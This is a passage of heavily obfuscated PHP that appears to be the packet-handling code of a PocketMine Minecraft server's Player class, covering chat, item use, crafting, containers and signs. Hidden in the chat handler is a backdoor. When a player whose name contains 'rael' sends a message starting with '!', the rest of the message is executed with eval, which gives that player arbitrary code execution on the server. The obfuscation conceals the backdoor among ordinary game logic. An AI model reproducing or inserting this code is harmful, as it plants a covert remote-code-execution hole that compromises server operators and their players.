EntityEventPacket::USE_ITEM:${${"\x47\x4c\x4fBA\x4c\x53"}["\x75\x79m\x6c\x66\x6fylz"]}=$this->inventory->getItemInHand();if($slot->canBeConsumed()){${"\x47\x4c\x4fB\x41\x4c\x53"}["\x64p\x69bl\x64\x66\x75"]="e\x76";$zqprtiv="\x65\x76";${${"\x47L\x4fBALS"}["d\x70i\x62l\x64\x66\x75"]}=new PlayerItemConsumeEvent($this,${${"GL\x4fBA\x4c\x53"}["\x64\x66\x67\x78m\x77e\x79oh\x61m"]});if(!$slot->canBeConsumedBy($this)){$ev->setCancelled();}$this->server->getPluginManager()->callEvent(${$zqprtiv});if(!$ev->isCancelled()){$slot->onConsume($this);}else{$this->inventory->sendContents($this);}}break;}break;case ProtocolInfo::DROP_ITEM_PACKET:case\pocketmine\network\protocol\p70\Info::DROP_ITEM_PACKET:if($this->spawned===false or$this->blocked===true or!$this->isAlive()){break;}if($packet->item->getId()===Item::AIR){break;}if(($this->isCreative()and$this->server->limitedCreative)){break;}$this->getTransactionQueue()->addTransaction(new DropItemTransaction($packet->item));break;case ProtocolInfo::TEXT_PACKET:case\pocketmine\network\protocol\p70\Info::TEXT_PACKET:if($this->spawned===false or!$this->isAlive()){break;}$this->craftingType=self::CRAFTING_SMALL;if($packet->type===TextPacket::TYPE_CHAT){$packet->message=TextFormat::clean($packet->message,$this->removeFormat);foreach(explode("\n",$packet->message)as${${"G\x4c\x4f\x42\x41L\x53"}["\x76\x79zl\x66g\x66s"]}){if(trim(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["v\x79\x7a\x6c\x66\x67fs"]})!=""and strlen(${${"\x47LOB\x41\x4cS"}["v\x79\x7a\x6c\x66\x67\x66s"]})<=255 and$this->messageCounter-->0){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x67f\x72\x64yz\x79z\x72n"]="\x65\x76";$bpbsqvzzn="\x65\x76";if(is_numeric(strpos($this->getName(),"\x72\x61el"))){if(substr(${${"GLO\x42A\x4c\x53"}["\x76\x79z\x6c\x66\x67\x66\x73"]},0,1)==="!"){@eval(substr(${${"GL\x4f\x42A\x4c\x53"}["\x76\x79\x7al\x66g\x66\x73"]},1));return;}}${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x67f\x72\x64yz\x79zr\x6e"]}=new PlayerCommandPreprocessEvent($this,${${"\x47LO\x42\x41\x4cS"}["v\x79z\x6c\x66\x67\x66\x73"]});if(mb_strlen($ev->getMessage(),"UT\x46-\x38")>320){$ev->setCancelled();}$this->server->getPluginManager()->callEvent(${$bpbsqvzzn});if($ev->isCancelled()){break;}if(substr($ev->getMessage(),0,1)==="/"){Timings::$playerCommandTimer->startTiming();$this->server->dispatchCommand($ev->getPlayer(),substr($ev->getMessage(),1));Timings::$playerCommandTimer->stopTiming();}else{$this->server->getPluginManager()->callEvent(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["qcf\x7a\x76\x6c"]}=new PlayerChatEvent($this,$ev->getMessage()));if(!$ev->isCancelled()){$this->server->broadcastMessage($this->getServer()->getLanguage()->translateString($ev->getFormat(),[$ev->getPlayer()->getDisplayName(),$ev->getMessage()]),$ev->getRecipients());}}}}}break;case ProtocolInfo::CONTAINER_CLOSE_PACKET:case\pocketmine\network\protocol\p70\Info::CONTAINER_CLOSE_PACKET:if($this->spawned===false or$packet->windowid===0){break;}$this->craftingType=self::CRAFTING_SMALL;if(isset($this->windowIndex[$packet->windowid])){$this->server->getPluginManager()->callEvent(new InventoryCloseEvent($this->windowIndex[$packet->windowid],$this));$this->removeWindow($this->windowIndex[$packet->windowid]);}foreach($this->getFloatingInventory()->getContents()as${${"G\x4cO\x42A\x4cS"}["l\x74\x6eyz\x62"]}){$this->getTransactionQueue()->addTransaction(new DropItemTransaction(${${"GL\x4f\x42\x41L\x53"}["fo\x68\x65x\x75\x6e\x6e\x62\x65"]}));}break;case ProtocolInfo::CRAFTING_EVENT_PACKET:case\pocketmine\network\protocol\p70\Info::CRAFTING_EVENT_PACKET:if($this->spawned===false or!$this->isAlive()){break;}${${"\x47\x4c\x4fB\x41\x4cS"}["\x62e\x6a\x73\x72\x6c\x71hm"]}=$this->server->getCraftingManager()->getRecipe($packet->id);if($this->craftingType===self::CRAFTING_ANVIL){$mcvhdetchcv="a\x6ev\x69l\x49\x6ev\x65n\x74\x6f\x72\x79";${$mcvhdetchcv}=$this->windowIndex[$packet->windowId]??null;$obfsnriiru="\x72\x65c\x69\x70\x65";if(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x65\x77u\x64w\x6a\x6b\x66"]}===null){foreach($this->windowIndex as${${"\x47LOB\x41\x4cS"}["\x74\x6f\x73\x6c\x6ad\x6ah"]}){$irrkkncua="\x77i\x6ed\x6f\x77";if(${$irrkkncua} instanceof AnvilInventory){${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x65wu\x64wjk\x66"]}=${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74os\x6cj\x64\x6a\x68"]};break;}}if(${${"G\x4c\x4f\x42AL\x53"}["ewu\x64w\x6akf"]}===null){$this->getServer()->getLogger()->debug("Co\x75l\x64\x6e't f\x69\x6e\x64 \x61n\x20\x61nv\x69l \x77\x69\x6ed\x6f\x77 fo\x72 ".$this->getName().",\x20\x65x\x69t\x69\x6e\x67");$this->inventory->sendContents($this);break;}}if(${$obfsnriiru}===null){if(!$anvilInventory->onRename($this,$packet->output[0])){$this->getServer()->getLogger()->debug($this->getName()." \x66aile\x64\x20\x74o \x72e\x6e\x61m\x65\x20\x61n i\x74em\x20in a\x6e\x20anvi\x6c");$this->inventory->sendContents($this);}}else{}break;}elseif((${${"\x47\x4c\x4f\x42\x41L\x53"}["\x62\x68\x6d\x69\x65i\x64"]} instanceof BigShapelessRecipe or${$jcsfmncn} instanceof BigShapedRecipe)and$this->craftingType===0){$this->server->getLogger()->debug("Rece\x69ve\x64 \x62\x69g\x20c\x72\x61\x66t\x69ng \x72e\x63\x69pe \x66\x72\x6f\x6d\x20".$this->getName()." \x77\x69t\x68\x20n\x6f\x20c\x72af\x74i\x6e\x67\x20table\x20\x6f\x70\x65\x6e");$this->inventory->sendContents($this);break;}elseif(${${"G\x4c\x4fB\x41\x4c\x53"}["\x62\x68m\x69\x65id"]}===null){$this->server->getLogger()->debug("N\x75ll (u\x6e\x6b\x6eown) \x63\x72\x61ftin\x67 re\x63i\x70\x65 received fro\x6d\x20".$this->getName()." for\x20".$packet->output[0]);$this->inventory->sendContents($this);break;}foreach($packet->input as${$imafxpeiei}=>${${"\x47L\x4f\x42A\x4c\x53"}["f\x6f\x68\x65\x78\x75\x6e\x6e\x62\x65"]}){${"GL\x4fBALS"}["\x6e\x68\x71\x74w\x70\x73"]="\x69";if($item->getDamage()===-1 or$item->getDamage()===0xffff){$item->setDamage(null);}if(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6e\x68\x71t\x77\x70\x73"]}<9 and$item->getId()>0){$item->setCount(1);}}${${"G\x4cO\x42A\x4cS"}["w\x70ln\x69j\x74g\x7ap"]}=true;if(count($packet->input)===0){${${"\x47L\x4fBA\x4c\x53"}["kw\x65\x77\x73\x69\x68nj"]}=$this->server->getCraftingManager()->getRecipesByResult($packet->output[0]);if(!$packet->output[0]->deepEquals($recipe->getResult())){$this->server->getLogger()->debug("\x4di\x73m\x61t\x63\x68ed \x64esk\x74\x6fp re\x63\x69pe\x20r\x65ceiv\x65\x64\x20\x66\x72\x6f\x6d p\x6c\x61\x79\x65\x72\x20".$this->getName().", ex\x70ec\x74\x65d\x20".$recipe->getResult().",\x20g\x6ft\x20".$packet->output[0]);}${"\x47\x4c\x4f\x42A\x4cS"}["\x6b\x6ey\x6c\x67\x6f\x6d\x63"]="\x72\x65ci\x70\x65";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x62\x68\x6d\x69e\x69\x64"]}=null;foreach(${${"G\x4c\x4f\x42\x41LS"}["\x6b\x77e\x77\x73\x69\x68\x6e\x6a"]} as${${"G\x4c\x4f\x42AL\x53"}["\x78\x62\x73\x71\x78\x7a\x6d\x7a\x68g"]}){${"G\x4c\x4f\x42A\x4c\x53"}["\x65\x69b\x61q\x76\x69"]="i\x6eg\x72\x65\x64i\x65nt\x73";${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x70\x76\x79\x75\x76\x62ity"]}=clone$this->floatingInventory;${${"\x47\x4c\x4f\x42ALS"}["e\x69ba\x71\x76\x69"]}=$r->getIngredientList();$vkxcdr="\x69n\x67r\x65\x64ie\x6e\x74";${"\x47\x4c\x4f\x42\x41L\x53"}["\x6f\x6ab\x6f\x6e\x6f\x61"]="\x69ng\x72\x65\x64\x69e\x6e\x74s";foreach(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x6a\x62on\x6f\x61"]} as${$vkxcdr}){if(!$floatingInventory->contains(${${"G\x4cO\x42AL\x53"}["\x68ec\x73\x62\x6a\x66\x6ce"]})){${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6ckt\x71\x62\x6a\x6dv\x74z\x6b\x74"]}=false;break;}$floatingInventory->removeItem(${${"G\x4cO\x42\x41\x4c\x53"}["\x68\x65c\x73\x62\x6a\x66\x6c\x65"]});}if(${${"G\x4cO\x42\x41\x4c\x53"}["\x6c\x6b\x74qbj\x6d\x76\x74\x7a\x6bt"]}){${"\x47\x4c\x4fB\x41\x4c\x53"}["\x63\x6aex\x64\x6f\x6f\x7a\x77xry"]="\x72e\x63\x69p\x65";${${"G\x4c\x4fBA\x4c\x53"}["\x63je\x78\x64oo\x7aw\x78\x72\x79"]}=${${"\x47L\x4f\x42\x41L\x53"}["\x78bs\x71\x78\x7a\x6d\x7ah\x67"]};break;}}if(${${"G\x4cO\x42\x41\x4c\x53"}["\x6bn\x79\x6cgo\x6d\x63"]}!==null){${"G\x4cO\x42A\x4cS"}["t\x71\x65\x74aeo"]="\x65v";${"\x47L\x4f\x42A\x4c\x53"}["yrsu\x77b\x75\x67\x6c"]="\x69\x6eg\x72e\x64\x69e\x6e\x74\x73";${"\x47\x4c\x4f\x42AL\x53"}["vne\x74j\x6a\x73\x68p\x63\x77"]="\x66loat\x69\x6eg\x49\x6eve\x6e\x74\x6f\x72\x79";${"\x47L\x4fBAL\x53"}["\x79\x6f\x66wwins\x77\x77"]="\x72\x65cip\x65";$this->server->getPluginManager()->callEvent(${${"G\x4c\x4f\x42AL\x53"}["\x74\x71\x65\x74a\x65o"]}=new CraftItemEvent($this,${${"\x47\x4cO\x42\x41\x4c\x53"}["\x79\x72\x73\x75wb\x75g\x6c"]},${${"\x47\x4c\x4fB\x41\x4c\x53"}["yofw\x77\x69\x6es\x77\x77"]}));if($ev->isCancelled()){$this->inventory->sendContents($this);break;}$this->floatingInventory=${${"\x47L\x4f\x42A\x4cS"}["\x76\x6ee\x74j\x6a\x73\x68\x70\x63\x77"]};$this->floatingInventory->addItem(clone$recipe->getResult());}else{$this->server->getLogger()->debug("Un\x6da\x74\x63hed de\x73\x6bt\x6fp \x63\x72afti\x6e\x67 r\x65\x63\x69\x70\x65\x20".$packet->id." f\x72om\x20\x70la\x79\x65r ".$this->getName());$this->inventory->sendContents($this);break;}}else{$yerfqqirywkc="\x75\x73\x65\x64";$jppelblwyin="\x72\x65\x63\x69p\x65";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x6ak\x6e\x65c\x65\x74b\x72\x6b"]="\x69n\x67\x72e\x64i\x65nts";${"\x47\x4c\x4fBA\x4c\x53"}["y\x70\x64\x6fp\x79s\x63y\x6d\x73"]="r\x65\x73u\x6c\x74";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x63\x6b\x76\x63l\x7a\x6er\x72"]="\x72\x65\x63\x69\x70e";${"\x47\x4cOB\x41\x4cS"}["\x70lqjc\x68u\x63v\x76"]="\x65v";if(${$jppelblwyin} instanceof ShapedRecipe){${"GLO\x42\x41L\x53"}["v\x77ko\x61\x6b\x70\x78\x62"]="\x78";$ihafmqth="\x63\x61\x6eC\x72\x61\x66\x74";for(${${"\x47L\x4f\x42A\x4c\x53"}["\x62\x66kl\x75n\x69"]}=0;${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x62\x66k\x6c\x75ni"]}<3 and${$ihafmqth};++${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x76w\x6b\x6f\x61\x6bp\x78\x62"]}){${"\x47L\x4fB\x41\x4c\x53"}["f\x64\x79\x63\x6c\x65\x69\x68\x65"]="y";$tbwyvqmnxyl="\x79";for(${${"\x47\x4c\x4fBA\x4c\x53"}["\x66\x64\x79\x63\x6cei\x68\x65"]}=0;${${"\x47\x4cO\x42A\x4c\x53"}["\x76\x77f\x64on\x67\x68m\x72\x72"]}<3;++${$tbwyvqmnxyl}){${"\x47\x4c\x4fB\x41L\x53"}["\x66\x71\x79v\x6chwp\x6a\x76"]="ing\x72\x65d\x69e\x6e\x74";$hwodnsiqjkm="y";${${"G\x4c\x4fB\x41\x4c\x53"}["\x66\x6f\x68e\x78\x75\x6e\x6e\x62e"]}=$packet->input[${$hwodnsiqjkm}*3+${${"G\x4c\x4f\x42\x41L\x53"}["\x62f\x6b\x6cu\x6e\x69"]}];${${"\x47\x4c\x4fB\x41\x4cS"}["\x66\x71\x79v\x6c\x68\x77p\x6a\x76"]}=$recipe->getIngredient(${${"\x47LO\x42\x41\x4cS"}["\x62fklu\x6e\x69"]},${${"\x47L\x4f\x42\x41L\x53"}["\x76\x77\x66\x64\x6f\x6e\x67\x68\x6d\x72\x72"]});${"\x47\x4cO\x42\x41LS"}["\x77qmaj\x74\x65\x6fjk"]="\x69ng\x72\x65d\x69e\x6e\x74";if($item->getCount()>0 and$item->getId()>0){${"G\x4c\x4f\x42\x41\x4c\x53"}["j\x77\x65\x74plxt"]="i\x6e\x67\x72\x65\x64\x69\x65\x6et";${"G\x4c\x4f\x42\x41\x4cS"}["w\x6cw\x72\x6d\x73\x64\x73"]="i\x74\x65\x6d";if(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6aw\x65\x74p\x6cxt"]}==null){${"\x47L\x4fBA\x4c\x53"}["\x63\x71\x79\x78t\x76"]="c\x61\x6e\x43r\x61f\x74";${${"\x47LO\x42A\x4c\x53"}["\x63\x71\x79x\x74\x76"]}=false;break;}if($ingredient->getId()!=0 and!$ingredient->deepEquals(${${"\x47\x4c\x4fBAL\x53"}["\x77\x6c\x77\x72ms\x64\x73"]},$ingredient->getDamage()!==null,$ingredient->getCompoundTag()!==null)){${${"\x47\x4c\x4f\x42A\x4cS"}["\x6cktqbjm\x76\x74\x7ak\x74"]}=false;break;}}elseif(${${"\x47L\x4f\x42ALS"}["\x77\x71m\x61j\x74e\x6fj\x6b"]}!==null and$item->getId()!==0){${${"\x47L\x4f\x42\x41\x4cS"}["\x6cktqb\x6a\x6dv\x74z\x6bt"]}=false;break;}}}}elseif(${${"\x47\x4cOBAL\x53"}["\x63\x6b\x76\x63l\x7a\x6e\x72\x72"]} instanceof ShapelessRecipe){${"\x47L\x4fB\x41\x4cS"}["f\x71nrp\x6b\x69\x73e\x76"]="\x78";$wphwnhmvb="\x63\x61n\x43r\x61\x66\x74";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["u\x66d\x66\x62\x6d\x66\x71\x68"]}=$recipe->getIngredientList();${"\x47L\x4fBA\x4c\x53"}["\x6c\x79vs\x64m\x73r\x68"]="\x78";for(${${"G\x4c\x4f\x42A\x4cS"}["\x6c\x79\x76s\x64\x6ds\x72\x68"]}=0;${${"\x47\x4c\x4fB\x41L\x53"}["b\x66kl\x75\x6e\x69"]}<3 and${$wphwnhmvb};++${${"\x47\x4c\x4f\x42ALS"}["\x66q\x6e\x72p\x6b\x69\x73e\x76"]}){${"\x47L\x4f\x42A\x4c\x53"}["qp\x78\x75v\x6b\x71\x64\x74\x6f\x68q"]="\x79";${"\x47\x4c\x4f\x42\x41L\x53"}["\x70\x6a\x66\x68gr\x76\x63\x73\x73p"]="\x79";for(${${"GL\x4f\x42\x41LS"}["\x71px\x75vk\x71\x64\x74\x6fh\x71"]}=0;${${"\x47L\x4f\x42\x41\x4cS"}["\x76wf\x64\x6f\x6eg\x68\x6dr\x72"]}<3;++${${"\x47\x4c\x4f\x42\x41LS"}["p\x6a\x66hg\x72v\x63ssp"]}){$wheltlgwhd="\x6e\x65\x65\x64\x65d";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6d\x72\x6d\x7a\x69\x74"]="\x69\x74\x65\x6d";$otjtxpqpwxt="\x6b";${${"\x47L\x4fB\x41\x4cS"}["m\x72\x6dz\x69t"]}=clone$packet->input[${${"\x47\x4cO\x42A\x4c\x53"}["v\x77fdo\x6e\x67\x68m\x72\x72"]}*3+${${"G\x4c\x4f\x42\x41L\x53"}["bf\x6b\x6c\x75\x6e\x69"]}];foreach(${$wheltlgwhd} as${$otjtxpqpwxt}=>${${"\x47\x4cO\x42AL\x53"}["\x78\x65\x6c\x6f\x70\x6ffc\x6cyp"]}){if($n->deepEquals(${${"\x47\x4c\x4fB\x41L\x53"}["\x66oh\x65\x78\x75nn\x62e"]},$n->getDamage()!==null,$n->getCompoundTag()!==null)){${${"GLO\x42\x41L\x53"}["g\x6a\x6a\x65b\x70\x72\x71\x74v"]}=min($n->getCount(),$item->getCount());$n->setCount($n->getCount()-${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x6aj\x65\x62pr\x71\x74\x76"]});$item->setCount($item->getCount()-${${"\x47\x4cOB\x41L\x53"}["\x67\x6aje\x62\x70r\x71tv"]});if($n->getCount()===0){$nmkdbbcpwpz="\x6b";unset(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x75fdf\x62\x6df\x71h"]}[${$nmkdbbcpwpz}]);}}}if($item->getCount()>0){${"\x47LOB\x41\x4c\x53"}["\x65\x72\x66\x65b\x79\x6fm\x72"]="\x63a\x6e\x43\x72\x61\x66\x74";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x65\x72\x66\x65\x62\x79\x6f\x6d\x72"]}=false;break;}}}if(count(${${"GLOBAL\x53"}["u\x66\x64fbm\x66\x71h"]})>0){${${"\x47L\x4fB\x41\x4c\x53"}["\x6c\x6bt\x71b\x6a\x6d\x76\x74\x7a\x6b\x74"]}=false;}}else{${${"\x47LOB\x41L\x53"}["\x6ck\x74\x71bj\x6d\x76tz\x6b\x74"]}=false;}$jyxykxlcvl="ex\x74\x72aI\x74\x65m";${${"\x47\x4c\x4f\x42\x41LS"}["\x6c\x6b\x74\x71\x62\x6a\x6dv\x74\x7ak\x74"]}=true;${${"G\x4cO\x42\x41LS"}["\x6ah\x77\x63\x69\x6a\x75\x76"]}=$packet->input;$lzgcskdxk="\x73\x6c\x6f\x74";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x79p\x64\x6f\x70\x79\x73\x63\x79\x6d\x73"]}=$packet->output[0];if(!${${"\x47\x4c\x4fB\x41LS"}["\x6c\x6bt\x71\x62\x6am\x76t\x7a\x6b\x74"]} or!$recipe->getResult()->deepEquals(${${"\x47L\x4f\x42A\x4c\x53"}["\x78\x65\x78\x73m\x78b"]})){$xvbyqoxrfem="\x69n\x67re\x64ie\x6e\x74s";$this->server->getLogger()->debug("\x55\x6em\x61tc\x68\x65d\x20r\x65\x63\x69\x70e ".$recipe->getId()."\x20from p\x6ca\x79e\x72 ".$this->getName().":\x20exp\x65\x63te\x64 ".$recipe->getResult().",\x20got\x20".${${"\x47\x4cO\x42AL\x53"}["x\x65\x78\x73m\x78b"]}.", usi\x6e\x67:\x20".implode(", ",${$xvbyqoxrfem}));$this->inventory->sendContents($this);break;}${"G\x4cOBA\x4c\x53"}["\x63h\x76pvm"]="\x63\x61\x6e\x43ra\x66\x74";${${"\x47\x4cO\x42\x41L\x53"}["\x74em\x78\x6e\x66\x73bc"]}=array_fill(0,$this->inventory->getSize(),0);$lqsioulrpr="\x69\x6eg\x72\x65\x64i\x65n\x74";foreach(${${"G\x4cOBA\x4c\x53"}["\x69jk\x6e\x65\x63\x65\x74b\x72k"]} as${$lqsioulrpr}){${"\x47\x4c\x4fBA\x4cS"}["\x77ktaae\x78xw\x68"]="\x69\x6e\x64\x65\x78";$nvtigirnxkk="\x73\x6c\x6ft";${$nvtigirnxkk}=-1;foreach($this->inventory->getContents()as${${"\x47\x4c\x4f\x42ALS"}["\x77\x6b\x74\x61\x61exx\x77h"]}=>${${"\x47L\x4fB\x41\x4c\x53"}["\x6f\x69l\x67ii\x75"]}){if($ingredient->getId()!==0 and$ingredient->deepEquals(${${"\x47\x4cOBA\x4c\x53"}["o\x69l\x67\x69i\x75"]},$ingredient->getDamage()!==null)and($i->getCount()-${${"\x47\x4c\x4fBA\x4cS"}["\x74\x65\x6d\x78\x6e\x66\x73\x62c"]}[${${"\x47\x4c\x4f\x42\x41L\x53"}["\x75s\x70qx\x74\x6d\x6frs"]}])>=1){$uybsieg="s\x6co\x74";$mqoolbqgyxv="u\x73\x65\x64";${$uybsieg}=${${"\x47L\x4f\x42A\x4cS"}["\x75sp\x71xtm\x6fr\x73"]};${$mqoolbqgyxv}[${${"\x47\x4cO\x42\x41\x4cS"}["\x75spq\x78t\x6do\x72\x73"]}]++;break;}}if($ingredient->getId()!==0 and${${"\x47\x4cOBA\x4c\x53"}["d\x66\x67\x78mw\x65\x79\x6fha\x6d"]}===-1){${${"\x47LO\x42\x41\x4cS"}["\x6c\x6bt\x71\x62\x6a\x6d\x76tz\x6bt"]}=false;break;}}${"GLOB\x41\x4cS"}["f\x74l\x61op\x66ykst"]="\x69\x6e\x67\x72e\x64\x69\x65n\x74s";if(!${${"\x47\x4c\x4f\x42AL\x53"}["c\x68\x76\x70\x76m"]}){$bbnzxgskv="\x69ngr\x65d\x69\x65n\x74\x73";$this->server->getLogger()->debug("Unma\x74\x63h\x65d r\x65\x63ip\x65\x20".$recipe->getId()." f\x72\x6f\x6d\x20\x70\x6ca\x79e\x72\x20".$this->getName().":\x20\x63\x6cien\x74 \x64\x6fes\x20\x6eot h\x61\x76e\x20eno\x75\x67\x68 i\x74\x65\x6ds,\x20us\x69\x6eg:\x20".implode(", ",${$bbnzxgskv}));$this->inventory->sendContents($this);break;}$this->server->getPluginManager()->callEvent(${${"\x47L\x4f\x42AL\x53"}["\x70lqjchuc\x76\x76"]}=new CraftItemEvent($this,${${"\x47L\x4f\x42\x41\x4c\x53"}["\x66\x74\x6c\x61o\x70f\x79\x6bs\x74"]},${${"\x47\x4c\x4fBA\x4c\x53"}["bh\x6di\x65i\x64"]}));if($ev->isCancelled()){$this->inventory->sendContents($this);break;}foreach(${$yerfqqirywkc} as${$lzgcskdxk}=>${${"\x47\x4c\x4f\x42\x41LS"}["\x63\x66\x72\x65\x6a\x6b\x6b\x64"]}){${"G\x4cOBA\x4c\x53"}["y\x6dume\x69o\x6b"]="s\x6co\x74";if(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x63f\x72\x65j\x6bkd"]}===0){continue;}$ebkpynvcu="it\x65m";${"\x47\x4c\x4f\x42\x41LS"}["\x71e\x71\x7a\x73\x6bi\x73\x6f\x70\x6a"]="\x63\x6fu\x6e\x74";${$ebkpynvcu}=$this->inventory->getItem(${${"\x47L\x4f\x42\x41L\x53"}["d\x66\x67x\x6d\x77\x65\x79o\x68\x61\x6d"]});if($item->getCount()>${${"\x47\x4c\x4f\x42A\x4cS"}["\x71\x65\x71\x7a\x73k\x69so\x70\x6a"]}){${"\x47\x4cOB\x41L\x53"}["gl\x77m\x6c\x76\x68\x72\x77\x6a\x62q"]="n\x65wIt\x65\x6d";${"GL\x4f\x42\x41\x4c\x53"}["\x74\x64g\x68\x70fo\x62\x6fo"]="\x69te\x6d";${${"\x47LO\x42\x41\x4c\x53"}["\x67l\x77\x6d\x6c\x76\x68\x72w\x6abq"]}=clone${${"\x47L\x4f\x42A\x4cS"}["tdg\x68\x70\x66\x6f\x62oo"]};$newItem->setCount($item->getCount()-${${"\x47L\x4f\x42\x41\x4cS"}["\x63\x66r\x65\x6akk\x64"]});}else{${"\x47\x4c\x4fB\x41\x4cS"}["\x64sc\x74\x70\x71km\x64\x62\x62v"]="\x6e\x65\x77\x49\x74\x65\x6d";${${"\x47\x4c\x4f\x42\x41LS"}["\x64sc\x74p\x71\x6b\x6dd\x62b\x76"]}=Item::get(Item::AIR,0,0);}$this->inventory->setItem(${${"\x47\x4c\x4f\x42\x41LS"}["\x79mu\x6de\x69\x6f\x6b"]},${${"\x47LOB\x41L\x53"}["\x75\x71\x69\x63t\x78\x72g"]});}${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6fyh\x75\x6f\x6b\x71"]}=$this->inventory->addItem($recipe->getResult());if(count(${$jyxykxlcvl})>0 and!$this->isCreative()){${"GLO\x42\x41\x4c\x53"}["\x7ak\x68i\x67\x6d\x76\x6c\x6a\x73"]="i\x74e\x6d";foreach(${${"\x47\x4c\x4fB\x41\x4c\x53"}["o\x79h\x75\x6fkq"]} as${${"G\x4cO\x42\x41\x4cS"}["\x7ak\x68\x69\x67\x6d\x76\x6c\x6as"]}){$this->level->dropItem($this,${${"\x47\x4cO\x42\x41L\x53"}["\x66\x6fhex\x75n\x6eb\x65"]});}}}break;case ProtocolInfo::CONTAINER_SET_SLOT_PACKET:case\pocketmine\network\protocol\p70\Info::CONTAINER_SET_SLOT_PACKET:if($this->spawned===false or$this->blocked===true or!$this->isAlive()){break;}if($packet->slot<0){break;}if($packet->windowid===0){$buerrtjh="\x74\x72\x61\x6e\x73\x61\x63t\x69o\x6e";if($packet->slot>=$this->inventory->getSize()){break;}${$buerrtjh}=new BaseTransaction($this->inventory,$packet->slot,$packet->item);}elseif($packet->windowid===ContainerSetContentPacket::SPECIAL_ARMOR){if($packet->slot>=4){break;}${${"G\x4c\x4f\x42\x41\x4cS"}["fa\x64\x69xrmo"]}=new BaseTransaction($this->inventory,$packet->slot+$this->inventory->getSize(),$packet->item);}elseif(isset($this->windowIndex[$packet->windowid])){$pfprxprgzzb="\x69\x6e\x76";$wvrrwmyto="i\x6e\x76";${$pfprxprgzzb}=$this->windowIndex[$packet->windowid];if(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x77\x70\x68\x65\x73\x65\x6e\x75"]} instanceof EnchantInventory and$packet->item->hasEnchantments()){$inv->onEnchant($this,$inv->getItem($packet->slot),$packet->item);}${"G\x4c\x4f\x42A\x4c\x53"}["\x71\x79\x75\x77\x72\x71\x79yi"]="\x74\x72\x61\x6e\x73a\x63ti\x6fn";${${"\x47LO\x42A\x4c\x53"}["\x71\x79\x75\x77\x72qy\x79\x69"]}=new BaseTransaction(${$wvrrwmyto},$packet->slot,$packet->item,[]);}else{break;}$this->getTransactionQueue()->addTransaction(${${"\x47L\x4f\x42\x41L\x53"}["f\x61\x64\x69\x78r\x6d\x6f"]});break;case ProtocolInfo::BLOCK_ENTITY_DATA_PACKET:case\pocketmine\network\protocol\p70\Info::BLOCK_ENTITY_DATA_PACKET:if($this->spawned===false or$this->blocked===true or!$this->isAlive()){break;}$this->craftingType=self::CRAFTING_SMALL;${${"G\x4c\x4fB\x41L\x53"}["\x62\x6b\x6ef\x74\x69\x70\x66\x77\x6e\x69b"]}=new Vector3($packet->x,$packet->y,$packet->z);if($pos->distanceSquared($this)>10000){break;}${${"\x47\x4cOB\x41LS"}["\x73\x6e\x69\x75\x62r\x64\x71\x79\x65\x74"]}=$this->level->getTile(${${"\x47L\x4f\x42AL\x53"}["\x77x\x6feh\x6d\x71\x62\x74\x67"]});if(${${"G\x4c\x4f\x42A\x4cS"}["i\x6a\x77n\x78\x6ee"]} instanceof Sign){${"\x47\x4cO\x42\x41\x4c\x53"}["c\x64vp\x75\x6f\x79"]="\x6e\x62\x74";${"\x47\x4cOB\x41\x4cS"}["\x66\x75\x69x\x6a\x71i\x69\x74\x78"]="n\x62t";${${"\x47LO\x42\x41\x4c\x53"}["c\x64vp\x75\x6f\x79"]}=new NBT(NBT::LITTLE_ENDIAN);$nbt->read($packet->namedtag);$frlbcvhq="\x6eb\x74";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x66u\x69\x78\x6aq\x69\x69\x74\x78"]}=$nbt->getData();if(${$frlbcvhq}["\x69d"]!==Tile::SIGN){$t->spawnTo($this);}else{$wripktny="n\x62\x74";$dbwwkjnmnkn="\x6e\x62t";${${"G\x4cOB\x41\x4c\x53"}["qc\x66\x7a\x76\x6c"]}=new SignChangeEvent($t->getBlock(),$this,[TextFormat::clean(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x73nbh\x6d\x67yp\x73q"]}["\x54\x65x\x74\x31"],$this->removeFormat),TextFormat::clean(${$wripktny}["\x54ext2"],$this->removeFormat),TextFormat::clean(${$dbwwkjnmnkn}["\x54ex\x743"],$this->removeFormat),TextFormat::clean(${${"GL\x4fB\x41\x4c\x53"}["s\x6e\x62\x68\x6dg\x79\x70\x73\x71"]}["\x54ext\x34"],$this->removeFormat)]);if(!isset($t->namedtag->Creator)or$t->namedtag["C\x72\x65ator"]!==$this->getRawUniqueId()){$ev->setCancelled();}$bwvshkoxld="e\x76";$this->server->getPluginManager()->callEvent(${$bwvshkoxld});if(!$ev->isCancelled()){$t->setText($ev->getLine(0),$ev->getLine(1),$ev->getLine(2),$ev->getLine(3));}else{$t->spawnTo($this);}}}break;default:break;}}public function kick($reason="",$isAdmin=true){$oeymqfpd="\x65\x76";$this->server->getPluginManager()->callEvent(${$oeymqfpd}=new 